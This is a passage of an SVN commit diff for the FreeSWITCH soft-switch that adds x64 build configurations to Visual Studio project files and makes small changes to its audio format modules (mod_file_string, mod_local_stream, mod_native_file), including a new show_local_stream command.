+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_file_string.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.c

Copied: freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.c (from rev 14471, freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,189 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Cesar Cepeda <cesar@auronix.com>
+ *
+ *
+ * mod_file_string.c -- Local Streaming Audio
+ *
+ */
+#include <switch.h>
+/* for apr_pstrcat */
+#define DEFAULT_PREBUFFER_SIZE 1024 * 64
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_file_string_load);
+
+SWITCH_MODULE_DEFINITION(mod_file_string, mod_file_string_load, NULL, NULL);
+
+
+struct file_string_source;
+
+static struct {
+	switch_mutex_t *mutex;
+	switch_hash_t *source_hash;
+} globals;
+
+struct file_string_context {
+	char *argv[128];
+	int argc;
+	int index;
+	int samples;
+	switch_file_handle_t fh;
+};
+
+typedef struct file_string_context file_string_context_t;
+
+
+static int next_file(switch_file_handle_t *handle)
+{
+	file_string_context_t *context = handle->private_info;
+
+	context->index++;
+	
+	if (switch_test_flag((&context->fh), SWITCH_FILE_OPEN)) {
+		switch_core_file_close(&context->fh);
+	}
+
+	if (context->index == context->argc) {
+		return 0;
+	}
+
+	if (switch_core_file_open(&context->fh,
+							  context->argv[context->index],
+							  handle->channels,
+							  handle->samplerate,
+							  SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+		return 0;
+	}
+	
+	handle->samples = context->fh.samples;
+	handle->samplerate = context->fh.samplerate;
+	handle->channels = context->fh.channels;
+	handle->format = context->fh.format;
+	handle->sections = context->fh.sections;
+	handle->seekable = context->fh.seekable;
+	handle->speed = context->fh.speed;
+	handle->interval = context->fh.interval;
+	handle->flags = context->fh.flags;
+
+	if (context->index == 0) {
+		context->samples = (handle->samplerate / 1000) * 250;
+	}
+
+	return 1;
+}
+
+static switch_status_t file_string_file_open(switch_file_handle_t *handle, const char *path)
+{
+	file_string_context_t *context;
+	char *file_dup;
+
+	if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	context = switch_core_alloc(handle->memory_pool, sizeof(*context));
+	
+	file_dup = switch_core_strdup(handle->memory_pool, path);
+	context->argc = switch_separate_string(file_dup, '!', context->argv, (sizeof(context->argv) / sizeof(context->argv[0])));
+	context->index = -1;
+	
+	handle->private_info = context;
+	
+	return next_file(handle) ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
+}
+
+static switch_status_t file_string_file_close(switch_file_handle_t *handle)
+{
+	file_string_context_t *context = handle->private_info;
+
+	switch_core_file_close(&context->fh);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t file_string_file_read(switch_file_handle_t *handle, void *data, size_t *len)
+{
+	file_string_context_t *context = handle->private_info;
+	switch_status_t status;
+	size_t llen = *len;
+
+	if (context->samples > 0) {
+		if (*len > (size_t)context->samples) {
+			*len = context->samples;
+		}
+		
+		context->samples -= *len;
+		switch_generate_sln_silence((int16_t *) data, *len, 400);
+		status = SWITCH_STATUS_SUCCESS;
+	} else {
+		status = switch_core_file_read(&context->fh, data, len);
+	}
+	
+	if (status != SWITCH_STATUS_SUCCESS) {
+		if (!next_file(handle)) {
+			return SWITCH_STATUS_FALSE;
+		}
+		*len = llen;
+		status = switch_core_file_read(&context->fh, data, len);
+	}
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* Registration */
+
+static char *supported_formats[SWITCH_MAX_CODECS] = { 0 };
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_file_string_load)
+{
+	switch_file_interface_t *file_interface;
+	supported_formats[0] = "file_string";
+
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+	file_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_FILE_INTERFACE);
+	file_interface->interface_name = modname;
+	file_interface->extens = supported_formats;
+	file_interface->file_open = file_string_file_open;
+	file_interface->file_close = file_string_file_close;
+	file_interface->file_read = file_string_file_read;
+
+	memset(&globals, 0, sizeof(globals));
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Deleted: freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.vcproj

Copied: freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.vcproj (from rev 14471, freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/formats/mod_file_string/mod_file_string.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mod_file_string"
+	ProjectGUID="{2CA40887-1622-46A1-A7F9-17FD7E7E545B}"
+	RootNamespace="mod_file_string"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\mod_file_string.c"
+			>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Property changes: freeswitch/branches/seven/src/mod/formats/mod_local_stream


Name: svn:ignore
   - mod_local_stream.so
.libs
Debug
*.pdb
*.user
Release
debug
   + mod_local_stream.so
.libs
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/formats/mod_local_stream/mod_local_stream.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_local_stream/mod_local_stream.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_local_stream/mod_local_stream.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/formats/mod_local_stream/mod_local_stream.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_local_stream/mod_local_stream.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_local_stream/mod_local_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Cesar Cepeda <cesar@auronix.com>
  *
  *
@@ -184,7 +184,7 @@
 			fname = path_buf;
 			fh.prebuf = source->prebuf;
 			fh.pre_buffer_datalen = source->prebuf;
-
+			
 			if (switch_core_file_open(&fh,
 									  (char *) fname,
 									  source->channels, source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
@@ -192,10 +192,7 @@
 				switch_yield(1000000);
 				continue;
 			}
-
-			source->rate = fh.samplerate;
-			source->samples = switch_samples_per_packet(fh.native_rate, source->interval);
-
+			
 			if (switch_core_timer_init(&timer, source->timer_name, source->interval, source->samples, source->pool) != SWITCH_STATUS_SUCCESS) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't start timer.\n");
 				switch_dir_close(source->dir_handle);
@@ -222,13 +219,13 @@
 				if (!used && !is_open) {
 					break;
 				}
-
+				
 				if (!is_open || used >= source->prebuf || (source->total && used > source->samples * 2)) {
 					used = switch_buffer_read(audio_buffer, dist_buf, source->samples * 2);
 					if (source->total) {
 
 						switch_mutex_lock(source->mutex);
-						for (cp = source->context_list; cp; cp = cp->next) {
+						for (cp = source->context_list; cp && RUNNING; cp = cp->next) {
 							if (switch_test_flag(cp->handle, SWITCH_FILE_CALLBACK)) {
 								continue;
 							}
@@ -301,9 +298,12 @@
 		return SWITCH_STATUS_FALSE;
 	}
 
+	switch_mutex_lock(globals.mutex);
+
+ top:
+
 	alt_path = switch_mprintf("%s/%d", path, handle->samplerate);
 
-	switch_mutex_lock(globals.mutex);
 	if ((source = switch_core_hash_find(globals.source_hash, alt_path))) {
 		path = alt_path;
 	} else {
@@ -313,6 +313,13 @@
 		if (switch_thread_rwlock_tryrdlock(source->rwlock) != SWITCH_STATUS_SUCCESS) {
 			source = NULL;
 		}
+	} else {
+		if (!switch_stristr("default", alt_path) && !switch_stristr("default", path)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unknown source %s, trying 'default'\n", path);
+			free(alt_path);
+			path = "default";
+			goto top;
+		}
 	}
 	switch_mutex_unlock(globals.mutex);
 
@@ -557,6 +564,92 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
+#define SHOW_LOCAL_STREAM_SYNTAX "[local_stream_name [xml]]"
+SWITCH_STANDARD_API(show_local_stream_function)
+{
+	local_stream_source_t *source = NULL;
+	char *mycmd = NULL, *argv[2] = { 0 };
+	char *local_stream_name = NULL;
+	int argc = 0;
+	switch_hash_index_t *hi;
+	const void *var;
+	void *val;
+	switch_bool_t xml = SWITCH_FALSE;
+
+	switch_mutex_lock(globals.mutex);
+
+	if (switch_strlen_zero(cmd)) {
+		for (hi = switch_hash_first(NULL, globals.source_hash); hi; hi = switch_hash_next(hi)) {
+			switch_hash_this(hi, &var, NULL, &val);
+			if ((source = (local_stream_source_t *) val)) {
+				stream->write_function(stream, "%s,%s\n", source->name, source->location);
+			}
+		}
+	} else {
+		if (!(mycmd = strdup(cmd))) {
+			goto usage;
+		}
+
+		if ((argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+			local_stream_name = argv[0];
+			if (argc > 1 && !strcasecmp("xml", argv[1])) {
+				xml = SWITCH_TRUE;
+			}
+		}
+		
+		if (!local_stream_name) {
+			goto usage;
+		}
+
+		source = switch_core_hash_find(globals.source_hash, local_stream_name);
+		if (source) {
+			if (xml) {
+				stream->write_function(stream, "<?xml version=\"1.0\"?>\n<local_stream name=\"%s\">\n", source->name);
+				stream->write_function(stream, "  <location>%s</location>\n", source->location);
+				stream->write_function(stream, "  <channels>%d</channels>\n", source->channels);
+				stream->write_function(stream, "  <rate>%d</rate>\n", source->rate);
+				stream->write_function(stream, "  <interval>%d<interval>\n", source->interval);
+				stream->write_function(stream, "  <samples>%d</samples>\n", source->samples);
+				stream->write_function(stream, "  <prebuf>%d</prebuf>\n", source->prebuf);
+				stream->write_function(stream, "  <timer>%s</timer>\n", source->timer_name);
+				stream->write_function(stream, "  <total>%d</total>\n", source->total);
+				stream->write_function(stream, "  <shuffle>%s</shuffle>\n", (source->shuffle) ? "true" : "false");
+				stream->write_function(stream, "  <ready>%s</ready>\n", (source->ready) ? "true" : "false");
+				stream->write_function(stream, "  <stopped>%s</stopped>\n", (source->stopped) ? "true" : "false");
+				stream->write_function(stream, "</local_stream>\n");
+			} else {
+				stream->write_function(stream, "%s\n", source->name);
+				stream->write_function(stream, "  location: %s\n", source->location);
+				stream->write_function(stream, "  channels: %d\n", source->channels);
+				stream->write_function(stream, "  rate:     %d\n", source->rate);
+				stream->write_function(stream, "  interval: %d\n", source->interval);
+				stream->write_function(stream, "  samples:  %d\n", source->samples);
+				stream->write_function(stream, "  prebuf:   %d\n", source->prebuf);
+				stream->write_function(stream, "  timer:    %s\n", source->timer_name);
+				stream->write_function(stream, "  total:    %d\n", source->total);
+				stream->write_function(stream, "  shuffle:  %s\n", (source->shuffle) ? "true" : "false");
+				stream->write_function(stream, "  ready:    %s\n", (source->ready) ? "true" : "false");
+				stream->write_function(stream, "  stopped:  %s\n", (source->stopped) ? "true" : "false");
+			}
+		} else {
+			stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
+			goto done;
+		}
+	}
+
+	stream->write_function(stream,"+OK");
+	goto done;
+
+ usage:
+	stream->write_function(stream, "-USAGE: %s\n", SHOW_LOCAL_STREAM_SYNTAX);
+
+ done:
+
+	switch_mutex_unlock(globals.mutex);
+	switch_safe_free(mycmd);
+	return SWITCH_STATUS_SUCCESS;
+}
+
 #define START_LOCAL_STREAM_SYNTAX "<local_stream_name> [<path>] [<rate>] [<shuffle>] [<prebuf>] [<channels>] [<interval>] [<timer_name>]"
 SWITCH_STANDARD_API(start_local_stream_function)
 {
@@ -758,6 +851,7 @@
 
 	SWITCH_ADD_API(commands_api_interface, "stop_local_stream", "Stops and unloads a local_stream", stop_local_stream_function, STOP_LOCAL_STREAM_SYNTAX);
 	SWITCH_ADD_API(commands_api_interface, "start_local_stream", "Starts a new local_stream", start_local_stream_function, START_LOCAL_STREAM_SYNTAX);
+	SWITCH_ADD_API(commands_api_interface, "show_local_stream", "Shows a local stream", show_local_stream_function, SHOW_LOCAL_STREAM_SYNTAX);
 
 	/* indicate that the module should continue to be loaded */
 	return SWITCH_STATUS_SUCCESS;

Property changes: freeswitch/branches/seven/src/mod/formats/mod_native_file


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/formats/mod_native_file/mod_native_file.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_native_file/mod_native_file.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_native_file/mod_native_file.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -79,6 +82,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;MOD_EXPORTS"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -139,6 +207,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/formats/mod_native_file/mod_native_file.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/formats/mod_native_file/mod_native_file.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/formats/mod_native_file/mod_native_file.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * mod_native_file.c -- Native Files
@@ -76,6 +76,7 @@
 	handle->sections = 0;
 	handle->seekable = 1;
 	handle->speed = 0;
+	handle->pos = 0;
 	handle->private_info = context;
 	handle->flags |= SWITCH_FILE_NATIVE;
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Opening File [%s] %dhz\n", path, handle->samplerate);
@@ -97,18 +98,28 @@
 
 static switch_status_t native_file_file_seek(switch_file_handle_t *handle, unsigned int *cur_sample, int64_t samples, int whence)
 {
+	switch_status_t status;
+
 	native_file_context *context = handle->private_info;
 
-	switch_file_seek(context->fd, whence, &samples);
-
+	status = switch_file_seek(context->fd, whence, &samples);
+	if (status == SWITCH_STATUS_SUCCESS) {
+		handle->pos += samples;
+	}
 	return SWITCH_STATUS_FALSE;
 }
 
 static switch_status_t native_file_file_read(switch_file_handle_t *handle, void *data, size_t *len)
 {
+	switch_status_t status;
+
 	native_file_context *context = handle->private_info;
 
-	return switch_file_read(context->fd, data, len);
